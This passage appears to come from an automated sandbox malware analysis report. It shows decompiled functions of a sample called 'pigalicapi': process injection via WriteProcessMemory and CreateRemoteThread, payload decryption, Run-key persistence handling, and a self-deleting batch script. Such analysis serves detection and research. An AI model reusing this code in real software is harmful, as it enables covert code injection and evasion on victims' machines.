-->, xrefs: 00EC82F0
<!--, xrefs: 00EC82B1

Memory Dump Source

Source File: 00000004.00000002.860103508.0000000000EC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ec0000_pigalicapi.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: -->$<!--
API String ID: 4275171209-1166897919
Opcode ID: 82b80c6dd451cadb51c949d5d2fd0ffac1b558b9ed345c0ff95a77521156c388
Instruction ID: e806d26468e55b5e1d673fe35396296a9533162d8558726a8b7ed44a679e18b0
Opcode Fuzzy Hash: 82b80c6dd451cadb51c949d5d2fd0ffac1b558b9ed345c0ff95a77521156c388
Instruction Fuzzy Hash: 33314A70900289DFDF04CFA8CB44BEEBBB1AB48308F14A95ED415B7241DB769A45CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00ECA400 Relevance: 4.6, APIs: 3, Instructions: 53
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00ECA400(char* _a4, char* _a8, char* _a12, int _a16) {
				int _v8;
				void* _v12;
				void* _v16;
				int _v20;
				long _t25;
				long _t27;

				_v8 = 0;
				if(_a4 != 0 && _a8 != 0 && _a12 != 0 && _a16 != 0) {
					_v12 = 0x80000001;
					if(( *0xed435a & 0x000000ff) != 0) {
						_v12 = 0x80000002;
					}
					_v16 = 0;
					_t25 = RegOpenKeyExA(_v12, _a4, 0, 0xf003f,  &_v16); // executed
					if(_t25 == 0) {
						_v20 = _a16;
						_t27 = RegQueryValueExA(_v16, _a8, 0, 0, _a12,  &_v20); // executed
						if(_t27 == 0) {
							_v8 = _v20;
						}
						RegCloseKey(_v16); // executed
					}
				}
				return _v8;
			}

0x00eca406
0x00eca411
0x00eca429
0x00eca439
0x00eca43b
0x00eca43b
0x00eca442
0x00eca45c
0x00eca464
0x00eca469
0x00eca480
0x00eca488
0x00eca48d
0x00eca48d
0x00eca494
0x00eca494
0x00eca464
0x00eca4a0

APIs

RegOpenKeyExA.KERNEL32(80000001,80000001,00000000,000F003F,00000000), ref: 00ECA45C
RegQueryValueExA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 00ECA480
RegCloseKey.KERNEL32(00000000), ref: 00ECA494

Memory Dump Source

Source File: 00000004.00000002.860103508.0000000000EC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ec0000_pigalicapi.jbxd

Yara matches

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: 7da09b1e1d7e4f772411217ec1fda70352966150606d892cbd300f0a9bc9c4d1
Instruction ID: ebad863f092f27fd22f0d98bb49739e8d3a7a556c33cb3e614ad0e406cd7c38f
Opcode Fuzzy Hash: 7da09b1e1d7e4f772411217ec1fda70352966150606d892cbd300f0a9bc9c4d1
Instruction Fuzzy Hash: 50116D70A0020DEFDB29DFA5C948FEE77B8FB44308F14846CE924A7280D3B59A56CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00EC8090 Relevance: 3.9, APIs: 3, Instructions: 147
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00EC8090(intOrPtr _a4, long _a8, void** _a12, intOrPtr* _a16) {
				long _v8;
				void* _v12;
				long _v16;
				intOrPtr _v20;
				intOrPtr* _v24;
				intOrPtr _v28;
				signed int _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				int _v48;
				long _v52;
				void* _t71;
				intOrPtr _t73;
				void* _t91;
				void* _t93;

				_v8 = 0;
				if(_a4 == 0 || _a8 == 0 || _a12 == 0 || _a16 == 0) {
					L13:
					return _v8;
				} else {
					_v16 = _a8;
					_t71 = VirtualAlloc(0, _v16, 0x3000, 4); // executed
					_v12 = _t71;
					if(_v12 != 0) {
						_t73 = E00EC1390(_v12, _a4, _v16, _v12, _v16); // executed
						_v20 = _t73;
						if(_v20 != 0) {
							_v24 = _v12;
							_v28 = _v20;
							_v32 = E00EC87B0(_v20,  *_v24) & 0x0000ffff;
							if(_v32 == 0xa) {
								_v40 =  *((intOrPtr*)(_v24 + 4));
								_v44 =  *((intOrPtr*)(_v24 + 8));
								_v36 = E00EC16F0(_v24 + 0xc, _v28 - 0xc);
								if(_v36 == _v44) {
									E00EC8630(_v24 + 0xc, 4, _v40);
									_v48 =  *((intOrPtr*)(_v24 + 0xc));
									E00EC8630(_v24 + 0x10, _v48, _v40);
									_v52 = _v28 - _v48 + 0x10;
									_t52 = _v48 + 0x10; // 0x10
									_t91 = E00EC8A70(_v24 + _t52,  &_v52, _v24 + 0x10, _v48,  &E00ED3410, 0x254); // executed
									if(_t91 != 0) {
										_t93 = VirtualAlloc(0, _v52, 0x3000, 4); // executed
										 *_a12 = _t93;
										if( *_a12 != 0) {
											_t60 = _v48 + 0x10; // 0x10
											E00EC7B70( *_a12, _v24 + _t60, _v52);
											 *_a16 = _v52;
											_v8 = _v52;
										}
									}
								}
							}
						}
						if(_v8 == 0) {
							VirtualFree(_v12, 0, 0x8000); // executed
						}
					}
					goto L13;
				}
			}

0x00ec8096
0x00ec80a1
0x00ec8246
0x00ec824c
0x00ec80c5
0x00ec80c8
0x00ec80d8
0x00ec80de
0x00ec80e5
0x00ec80fb
0x00ec8103
0x00ec810a
0x00ec8113
0x00ec8119
0x00ec812d
0x00ec8134
0x00ec8140
0x00ec8149
0x00ec8162
0x00ec816b
0x00ec817e
0x00ec818c
0x00ec819e
0x00ec81b1
0x00ec81d3
0x00ec81d8
0x00ec81e2
0x00ec81f1
0x00ec81fa
0x00ec8202
0x00ec820e
0x00ec8219
0x00ec8227
0x00ec822c
0x00ec822c
0x00ec8202
0x00ec81e2
0x00ec816b
0x00ec8134
0x00ec8233
0x00ec8240
0x00ec8240
0x00ec8233
0x00000000
0x00ec80e5

APIs

VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 00EC80D8
VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 00EC8240

Part of subcall function 00EC8A70: CryptAcquireContextA.ADVAPI32(00000000,00ECC6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000000), ref: 00EC8AD3
Part of subcall function 00EC8A70: GetLastError.KERNEL32 ref: 00EC8ADD
Part of subcall function 00EC8A70: CryptAcquireContextA.ADVAPI32(00000000,00ECC6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000008), ref: 00EC8B0C
Part of subcall function 00EC8A70: CryptImportKey.ADVAPI32(00000000,00000000,?,00000000,00000001,00000000), ref: 00EC8B37
Part of subcall function 00EC8A70: CryptImportKey.ADVAPI32(00000000,00000000,00000000,00000000,00000001,00000000), ref: 00EC8B5E
Part of subcall function 00EC8A70: CryptDecrypt.ADVAPI32(00000000,00000000,00000001,00000000,00000000,00000000), ref: 00EC8B7A
Part of subcall function 00EC8A70: CryptDestroyKey.ADVAPI32(00000000), ref: 00EC8B87
Part of subcall function 00EC8A70: CryptDestroyKey.ADVAPI32(00000000), ref: 00EC8B91
Part of subcall function 00EC8A70: CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 00EC8B9D

VirtualAlloc.KERNELBASE(00000000,?,00003000,00000004), ref: 00EC81F1

Memory Dump Source

Source File: 00000004.00000002.860103508.0000000000EC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ec0000_pigalicapi.jbxd

Yara matches

Similarity

API ID: Crypt$ContextVirtual$AcquireAllocDestroyImport$DecryptErrorFreeLastRelease
String ID:
API String ID: 142027497-0
Opcode ID: 0467942bc93528b5ecc6ebdce6d4bee562b3589628ceecf75a10e729897e06a8
Instruction ID: 2033ba009bd352f1118eb8e51fed97401d721a677aae85799cdb9b18d03476a9
Opcode Fuzzy Hash: 0467942bc93528b5ecc6ebdce6d4bee562b3589628ceecf75a10e729897e06a8
Instruction Fuzzy Hash: 545117B4E00209EFDB18DF98DA95FAEB7B5BB48304F109159E904B7381D731AE45CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00EC5930 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 66
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E00EC5930(intOrPtr _a4, CHAR* _a8, intOrPtr _a12) {
				intOrPtr _v8;
				char _v24;
				void _v52;
				intOrPtr _v56;
				signed int _v60;
				void* _t70;

				_v8 = 0;
				if(_a4 != 0 && _a8 != 0 && _a12 > 0 && _a12 <= 0x10) {
					E00EC7B70( &_v24, _a4, 0x10);
					memcpy( &_v52, "abcdefghijklmnopqrstuvwxyz", 6 << 2);
					asm("movsw");
					asm("movsb");
					_v56 = 0;
					while(_v56 < _a12) {
						_v60 = (( *(_t70 + _v56 - 0x14) & 0x000000ff) + _v56 + 1) * (_v56 + 2) % 0x1a;
						_a8[_v56] =  *((intOrPtr*)(_t70 + _v60 - 0x30));
						if(_v56 == 0) {
							CharUpperA(_a8); // executed
						}
						_v8 = _v8 + 1;
						_v56 = _v56 + 1;
					}
				}
				return _v8;
			}

0x00ec5938
0x00ec5943
0x00ec5971
0x00ec5986
0x00ec5988
0x00ec598a
0x00ec598b
0x00ec599d
0x00ec59c6
0x00ec59d6
0x00ec59dc
0x00ec59e2
0x00ec59e2
0x00ec59ee
0x00ec599a
0x00ec599a
0x00ec599d
0x00ec59fb

APIs

CharUpperA.USER32(00000000), ref: 00EC59E2

Strings

abcdefghijklmnopqrstuvwxyz, xrefs: 00EC597E

Memory Dump Source

Source File: 00000004.00000002.860103508.0000000000EC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ec0000_pigalicapi.jbxd

Yara matches

Similarity

API ID: CharUpper
String ID: abcdefghijklmnopqrstuvwxyz
API String ID: 9403516-1277644989
Opcode ID: 61fb27133cf1b59cc171ac49865e2159672d427eea4001d9967d514cca5b0c01
Instruction ID: 8a394b82478249b1705f9596cb5cda87df1c3e7190fd2a6e87f6410954311685
Opcode Fuzzy Hash: 61fb27133cf1b59cc171ac49865e2159672d427eea4001d9967d514cca5b0c01
Instruction Fuzzy Hash: BB214F31902108EBCF04CF98D684BDDB7B6FF85315F249599F81467340D376AA86CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00EC9400 Relevance: 3.1, APIs: 2, Instructions: 106
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00EC9400(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				char _v91;
				char _v92;
				char _v220;
				intOrPtr _t59;
				void* _t103;
				void* _t104;
				void* _t106;

				_v8 = 0;
				if(_a4 != 0 && _a8 != 0 && _a12 > 0) {
					_t56 = E00EC7B70( &_v28, _a4 + 0x45b, 0x10);
					_t104 = _t103 + 0xc;
					_v12 = _v28 ^ _v24 ^ _v20 ^ _v16;
					_v32 = 0;
					while(_v32 < _a12) {
						E00EC7D20(_t56,  &_v220, 0, 0x80);
						_t59 = E00EC8BB0( &_v12, 4,  &_v220, 0x80); // executed
						_t106 = _t104 + 0x1c;
						_v40 = _t59;
						if(_v40 <= 0) {
							_v12 = _v32 * 7 + _v12;
						} else {
							_v12 = _v220;
						}
						_v36 = _v12 % 4 + 9;
						E00EC9650( &_v220, _v40, _v32 * 0x1e + _a8, _v36);
						E00EC7D20( &_v92,  &_v92, 0, 0x32);
						_t104 = _t106 + 0x1c;
						lstrcpyA( &_v92, _v32 * 0x1e + _a8);
						_v91 = 0;
						CharUpperA( &_v92);
						 *((char*)(_a8 + _v32 * 0x1e)) = _v92;
						_v12 = _v12 + 1;
						_v8 = _v8 + 1;
						_t56 = _v32 + 1;
						_v32 = _v32 + 1;
					}
				}
				return _v8;
			}

0x00ec9409
0x00ec9414
0x00ec943d
0x00ec9442
0x00ec9451
0x00ec9454
0x00ec9466
0x00ec9480
0x00ec949a
0x00ec949f
0x00ec94a2
0x00ec94a9
0x00ec94bf
0x00ec94ab
0x00ec94b1
0x00ec94b1
0x00ec94d1
0x00ec94ed
0x00ec94fd
0x00ec9502
0x00ec9513
0x00ec9519
0x00ec9521
0x00ec9533
0x00ec953c
0x00ec9545
0x00ec9460
0x00ec9463
0x00ec9463
0x00ec9466
0x00ec9553

APIs

Part of subcall function 00EC8BB0: CryptAcquireContextA.ADVAPI32(00000000,00ECC6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000000), ref: 00EC8BFF
Part of subcall function 00EC8BB0: GetLastError.KERNEL32 ref: 00EC8C09
Part of subcall function 00EC8BB0: CryptAcquireContextA.ADVAPI32(00000000,00ECC6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000008), ref: 00EC8C38
Part of subcall function 00EC8BB0: CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 00EC8C59
Part of subcall function 00EC8BB0: CryptHashData.ADVAPI32(00000000,00000000,00000000,00000000), ref: 00EC8C71
Part of subcall function 00EC8BB0: CryptGetHashParam.ADVAPI32(00000000,00000004,00000000,00000004,00000000), ref: 00EC8C99
Part of subcall function 00EC8BB0: CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000), ref: 00EC8CC1
Part of subcall function 00EC8BB0: CryptDestroyHash.ADVAPI32(00000000), ref: 00EC8CD5
Part of subcall function 00EC8BB0: CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 00EC8CE1

lstrcpyA.KERNEL32(?,00000000), ref: 00EC9513
CharUpperA.USER32(?), ref: 00EC9521

Memory Dump Source

Source File: 00000004.00000002.860103508.0000000000EC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ec0000_pigalicapi.jbxd

Yara matches

Similarity

API ID: Crypt$Hash$Context$AcquireParam$CharCreateDataDestroyErrorLastReleaseUpperlstrcpy
String ID:
API String ID: 2710640451-0
Opcode ID: 36532ad3e98ce8bb18ce711f6cd9fb7a22119694dde10779604a347da34f3383
Instruction ID: 078bb3a8231d11fae05568e250c2f00c89ef8be1913c4c26e697f670751e32fb
Opcode Fuzzy Hash: 36532ad3e98ce8bb18ce711f6cd9fb7a22119694dde10779604a347da34f3383
Instruction Fuzzy Hash: B24107B1D00208EBDB08DF94C985FEEBBB5EF58304F108159E515BB282E735AA46CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00EC4BF0 Relevance: 3.0, APIs: 2, Instructions: 24memorysynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(0000EA60,0000000A), ref: 00EC4C19
VirtualAlloc.KERNEL32(00000000,00100000,00003000,00000004), ref: 00EC4C49
VirtualAlloc.KERNEL32(00000000,00100000,00003000,00000004), ref: 00EC4C60
VirtualAlloc.KERNEL32(00000000,00100000,00003000,00000004), ref: 00EC4C77
CoUninitialize.OLE32 ref: 00EC56F0

Memory Dump Source

Source File: 00000004.00000002.860103508.0000000000EC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ec0000_pigalicapi.jbxd

Yara matches

Similarity

API ID: AllocVirtual$ObjectSingleUninitializeWait
String ID:
API String ID: 2825510553-0
Opcode ID: f306b43238d6c95861246e07b3db650082ffa652b7d388d57ceb74dd419d1b59
Instruction ID: edc3aa82bb52da82ee90a8d1449de570978b1a3372b414816872f2f18e9efc3d
Opcode Fuzzy Hash: f306b43238d6c95861246e07b3db650082ffa652b7d388d57ceb74dd419d1b59
Instruction Fuzzy Hash: BAE06D71B002049FD710CFA5D990FAEBBB0EF58329F645259D845F6240D232E892DB60

Uniqueness

Uniqueness Score: -1.00%

Function 00EC97A0 Relevance: 3.0, APIs: 2, Instructions: 10
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00EC97A0(long _a4) {
				void* _t4;

				_t4 = RtlAllocateHeap(GetProcessHeap(), 8, _a4); // executed
				return _t4;
			}

0x00ec97b0
0x00ec97b7

APIs

GetProcessHeap.KERNEL32(00000008,00EC9FB2,?,00EC9FB2,00000000,?,?,?,00EC9E2D), ref: 00EC97A9
RtlAllocateHeap.NTDLL(00000000,?,00EC9FB2,00000000,?,?,?,00EC9E2D), ref: 00EC97B0

Memory Dump Source

Source File: 00000004.00000002.860103508.0000000000EC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ec0000_pigalicapi.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcess
String ID:
API String ID: 1357844191-0
Opcode ID: 30f24f1c513fe050fa8a70bb81bf95cb347da0c157a3aff7b00f145056deb8ba
Instruction ID: 3199c283285909a3f053665055f6207f0f7395ec3028beeac47234760d9b0bdb
Opcode Fuzzy Hash: 30f24f1c513fe050fa8a70bb81bf95cb347da0c157a3aff7b00f145056deb8ba
Instruction Fuzzy Hash: 61C09B71140308EFD6409BD9EC2ED95375DF748601F104011F70DD6550CA71A5494762

Uniqueness

Uniqueness Score: -1.00%

Function 00E42B8A Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,00000000,00000000,?,00E42C42,00000000,00000000,?,00000000,00000001,00000000,?,00E42670,00000000,00000000,?), ref: 00E42B9E

Memory Dump Source

Source File: 00000004.00000002.858688043.0000000000E42000.00000040.00001000.00020000.00000000.sdmp, Offset: 00E42000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e42000_pigalicapi.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 155cb44f56700499559c699fa88ca25f1edce0c1cd65970cabd6a13214daa310
Instruction ID: 1f6b0dc4f699245944c595fdf54dbbd1cf49b1171fafafc97c3780760819268b
Opcode Fuzzy Hash: 155cb44f56700499559c699fa88ca25f1edce0c1cd65970cabd6a13214daa310
Instruction Fuzzy Hash: 0DD05E76700228BFEB106ED4DC06FA9B79CDF456A0F008026FE58AB380D672BE1087D4

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00EC8CF0 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 96
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E00EC8CF0(BYTE* _a4, DWORD* _a8, intOrPtr _a12, intOrPtr _a16) {
				int _v8;
				long* _v12;
				int _v16;
				char _v20;
				long* _v24;
				char* _t31;
				int _t32;
				intOrPtr _t34;
				long** _t35;
				char* _t52;

				_v8 = 0;
				if(_a4 == 0 || _a8 == 0 || _a12 == 0 || _a16 == 0) {
					L15:
					return _v8;
				} else {
					_v12 = 0;
					_t31 =  *0xed3370; // 0xecc6e4
					_t32 = CryptAcquireContextA( &_v12, _t31, "Microsoft Enhanced Cryptographic Provider v1.0", 1, 0);
					if(_t32 == 0) {
						_t32 = GetLastError();
						_v16 = _t32;
						if(_v16 == 0x80090016 || _v16 == 0x8009000b) {
							_t52 =  *0xed3370; // 0xecc6e4
							_t32 = CryptAcquireContextA( &_v12, _t52, "Microsoft Enhanced Cryptographic Provider v1.0", 1, 8);
						}
					}
					if(_v12 != 0) {
						__imp__CryptCreateHash(_v12, 0x8003, 0, 0,  &_v20);
						if(_t32 != 0) {
							_t34 = _a16;
							__imp__CryptHashData(_v20, _a12, _t34, 0);
							if(_t34 != 0) {
								_v24 = 0;
								_t35 =  &_v24;
								__imp__CryptDeriveKey(_v12, 0x6801, _v20, 1, _t35);
								if(_t35 != 0) {
									_v8 = CryptDecrypt(_v24, 0, 1, 0, _a4, _a8);
									CryptDestroyKey(_v24);
								}
							}
							__imp__CryptDestroyHash(_v20);
						}
						CryptReleaseContext(_v12, 0);
					}
					goto L15;
				}
			}

0x00ec8cf6
0x00ec8d01
0x00ec8e1a
0x00ec8e20
0x00ec8d25
0x00ec8d25
0x00ec8d35
0x00ec8d3f
0x00ec8d47
0x00ec8d49
0x00ec8d4f
0x00ec8d59
0x00ec8d6d
0x00ec8d78
0x00ec8d78
0x00ec8d59
0x00ec8d82
0x00ec8d99
0x00ec8da1
0x00ec8da5
0x00ec8db1
0x00ec8db9
0x00ec8dbb
0x00ec8dc2
0x00ec8dd5
0x00ec8ddd
0x00ec8df7
0x00ec8dfe
0x00ec8dfe
0x00ec8ddd
0x00ec8e08
0x00ec8e08
0x00ec8e14
0x00ec8e14
0x00000000
0x00ec8d82

APIs

CryptAcquireContextA.ADVAPI32(00000000,00ECC6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000000), ref: 00EC8D3F
GetLastError.KERNEL32 ref: 00EC8D49
CryptAcquireContextA.ADVAPI32(00000000,00ECC6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000008), ref: 00EC8D78
CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 00EC8D99
CryptHashData.ADVAPI32(00000000,00000000,00000000,00000000), ref: 00EC8DB1
CryptDeriveKey.ADVAPI32(00000000,00006801,00000000,00000001,00000000), ref: 00EC8DD5
CryptDecrypt.ADVAPI32(00000000,00000000,00000001,00000000,00000000,00000000), ref: 00EC8DF1
CryptDestroyKey.ADVAPI32(00000000), ref: 00EC8DFE
CryptDestroyHash.ADVAPI32(00000000), ref: 00EC8E08
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 00EC8E14

Strings

Microsoft Enhanced Cryptographic Provider v1.0, xrefs: 00EC8D68
Microsoft Enhanced Cryptographic Provider v1.0, xrefs: 00EC8D30

Memory Dump Source

Source File: 00000004.00000002.860103508.0000000000EC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ec0000_pigalicapi.jbxd

Yara matches

Similarity

API ID: Crypt$ContextHash$AcquireDestroy$CreateDataDecryptDeriveErrorLastRelease
String ID: Microsoft Enhanced Cryptographic Provider v1.0$Microsoft Enhanced Cryptographic Provider v1.0
API String ID: 3718126946-947817771
Opcode ID: d902606302167c78c022f538fd6527e6478e7729a60fc1b22003b592da1285d9
Instruction ID: 4825752d20e92de92d1c0fb4cb23fef36db83264c13ef9468f52a4523b877b96
Opcode Fuzzy Hash: d902606302167c78c022f538fd6527e6478e7729a60fc1b22003b592da1285d9
Instruction Fuzzy Hash: 37313A71A40209EFDB14CFA5CE49FAF7778BB04704F24852CF605B6180CBB6AA46CB61

Uniqueness

Uniqueness Score: -1.00%

Function 00EC2510 Relevance: 12.1, APIs: 8, Instructions: 149
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00EC2510(void* _a4, intOrPtr _a8) {
				long _v8;
				long _v12;
				void* _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				long _v28;
				void* _v32;
				signed int _v36;
				void* _t138;
				void* _t139;

				_v8 = 0;
				if(_a4 == 0 || _a8 == 0) {
					L14:
					return _v8;
				} else {
					_v24 = _a8 +  *((intOrPtr*)(_a8 + 0x3c));
					_v20 = _v24 + ( *(_v24 + 0x14) & 0x0000ffff) + 0x18;
					_v12 =  *((intOrPtr*)(_v24 + 0x50));
					_v16 = VirtualAlloc(0, _v12, 0x3000, 0x40);
					if(_v16 != 0) {
						_v32 = VirtualAllocEx(_a4,  *(_v24 + 0x34), _v12, 0x3000, 0x40);
						if(_v32 != 0) {
							L7:
							E00EC7B70(_v16, _a8,  *((intOrPtr*)(_v24 + 0x54)));
							_t139 = _t138 + 0xc;
							_v36 = 0;
							while(_v36 < ( *(_v24 + 6) & 0x0000ffff)) {
								E00EC7B70(_v16 +  *((intOrPtr*)(_v20 + 0xc + _v36 * 0x28)), _a8 +  *((intOrPtr*)(_v20 + 0x14 + _v36 * 0x28)),  *((intOrPtr*)(_v20 + 0x10 + _v36 * 0x28)));
								_t139 = _t139 + 0xc;
								_v36 = _v36 + 1;
							}
							E00EC26D0(_v16, _v32);
							if(WriteProcessMemory(_a4, _v32, _v16, _v12, 0) != 0) {
								VirtualFree(_v16, 0, 0x8000);
								_v28 = 0;
								_v8 = CreateRemoteThread(_a4, 0, 0, _v32 +  *((intOrPtr*)(_v24 + 0x28)), 0x11, 0,  &_v28);
								goto L14;
							}
							VirtualFree(_v16, 0, 0x8000);
							return 0;
						}
						_v32 = VirtualAllocEx(_a4, 0, _v12, 0x103000, 0x40);
						if(_v32 != 0) {
							goto L7;
						}
						VirtualFree(_v16, 0, 0x8000);
						return 0;
					}
					return 0;
				}
			}

0x00ec2516
0x00ec2521
0x00ec26c2
0x00000000
0x00ec2531
0x00ec253a
0x00ec254b
0x00ec2554
0x00ec256a
0x00ec2571
0x00ec2596
0x00ec259d
0x00ec25d7
0x00ec25e6
0x00ec25eb
0x00ec25ee
0x00ec2600
0x00ec263c
0x00ec2641
0x00ec25fd
0x00ec25fd
0x00ec264e
0x00ec2670
0x00ec2692
0x00ec2698
0x00ec26bf
0x00000000
0x00ec26bf
0x00ec267d
0x00000000
0x00ec2683
0x00ec25b6
0x00ec25bd
0x00000000
0x00000000
0x00ec25ca
0x00000000
0x00ec25d0
0x00000000
0x00ec2573

APIs

VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000040), ref: 00EC2564
VirtualAllocEx.KERNEL32(00000000,?,00000000,00003000,00000040), ref: 00EC2590
VirtualAllocEx.KERNEL32(00000000,00000000,00000000,00103000,00000040), ref: 00EC25B0
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 00EC25CA

Memory Dump Source

Source File: 00000004.00000002.860103508.0000000000EC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ec0000_pigalicapi.jbxd

Yara matches

Similarity

API ID: Virtual$Alloc$Free
String ID:
API String ID: 3668210933-0
Opcode ID: 85003e9c07c9e2a6996f47b2174e9f136cd0f0a7592fbc4427117c48ccbf35b0
Instruction ID: efe797f6c6bda797cddb9530a4d6a3288b5549c038ac7c6aa50a2d1a6db673b1
Opcode Fuzzy Hash: 85003e9c07c9e2a6996f47b2174e9f136cd0f0a7592fbc4427117c48ccbf35b0
Instruction Fuzzy Hash: 4F5129B5E00209EFDB04CF95C995FAEB7B5BB48304F10811CE615BB290D775AA45CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00EC74A0 Relevance: 57.9, APIs: 24, Strings: 9, Instructions: 195
stringregistryfileCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E00EC74A0() {
				char _v524;
				CHAR* _v528;
				void* _v532;
				void* _v536;
				void* _v540;
				char _v1060;
				char _v1580;
				char _v2364;
				long _v2368;
				struct _PROCESS_INFORMATION _v2384;
				long _v2388;
				struct _STARTUPINFOA _v2460;
				void* _t86;
				void* _t121;
				void* _t123;
				void* _t124;

				E00EC7D20(E00EC7D20( &_v2364,  &_v2364, 0, 0x30c),  &_v1060, 0, 0x208);
				_t123 = _t121 + 0x18;
				 *0xed4370 = 1;
				Sleep(0x3e8);
				if(( *0xed4362 & 0x000000ff) != 0) {
					_v2368 = 0x207;
					if(( *0xed435a & 0x000000ff) == 0) {
						GetEnvironmentVariableA("USERPROFILE",  &_v1060, 0x207);
					} else {
						__imp__GetAllUsersProfileDirectoryA( &_v1060,  &_v2368);
					}
					lstrcatA( &_v1060, "\\");
					lstrcatA( &_v1060, "pigalicapi");
					lstrcatA( &_v1060, ".exe");
				} else {
					GetModuleFileNameA(0,  &_v1060, 0x207);
				}
				SetFileAttributesA( &_v1060, 0x80);
				wnsprintfA( &_v2364, 0x30b, ":repeat\r\ndel %s\r\nif exist %s goto :repeat\r\ndel %%0",  &_v1060,  &_v1060);
				_t124 = _t123 + 0x14;
				if( *0xed436c != 0) {
					_t86 =  *0xed436c; // 0x238
					TerminateThread(_t86, 1);
				}
				_v528 = "software\\microsoft\\windows\\currentversion\\run";
				_v532 = 0x80000001;
				if(( *0xed435a & 0x000000ff) != 0) {
					_v532 = 0x80000002;
				}
				_v536 = 0;
				if(RegOpenKeyExA(_v532, _v528, 0, 2,  &_v536) == 0) {
					RegDeleteValueA(_v536, "pigalicapi");
					RegCloseKey(_v536);
				}
				if(( *0xed435b & 0x000000ff) != 0) {
					E00EC5E30(1);
					_t124 = _t124 + 4;
				}
				GetEnvironmentVariableA("TEMP",  &_v1580, 0x104);
				GetTempFileNameA( &_v1580, "slf", GetTickCount() % 0xffff,  &_v524);
				lstrcatA( &_v524, ".bat");
				_t71 = CreateFileA( &_v524, 0x40000000, 1, 0, 2, 0, 0);
				_v540 = _t71;
				if(_v540 != 0xffffffff) {
					_v2388 = 0;
					WriteFile(_v540,  &_v2364, lstrlenA( &_v2364),  &_v2388, 0);
					E00EC7D20(E00EC7D20(CloseHandle(_v540),  &_v2384, 0, 0x10),  &_v2460, 0, 0x44);
					_v2460.cb = 0x44;
					_v2460.dwFlags = _v2460.dwFlags | 0x00000001;
					_v2460.wShowWindow = 0;
					if(CreateProcessA(0,  &_v524, 0, 0, 0, 0, 0, 0,  &_v2460,  &_v2384) != 0) {
						_t71 = CloseHandle(_v2384.hThread);
					}
					ExitProcess(0);
				}
				return _t71;
			}

0x00ec74cd
0x00ec74d2
0x00ec74d5
0x00ec74e4
0x00ec74f3
0x00ec750b
0x00ec751e
0x00ec7547
0x00ec7520
0x00ec752e
0x00ec752e
0x00ec7559
0x00ec756b
0x00ec757d
0x00ec74f5
0x00ec7503
0x00ec7503
0x00ec758f
0x00ec75b4
0x00ec75ba
0x00ec75c4
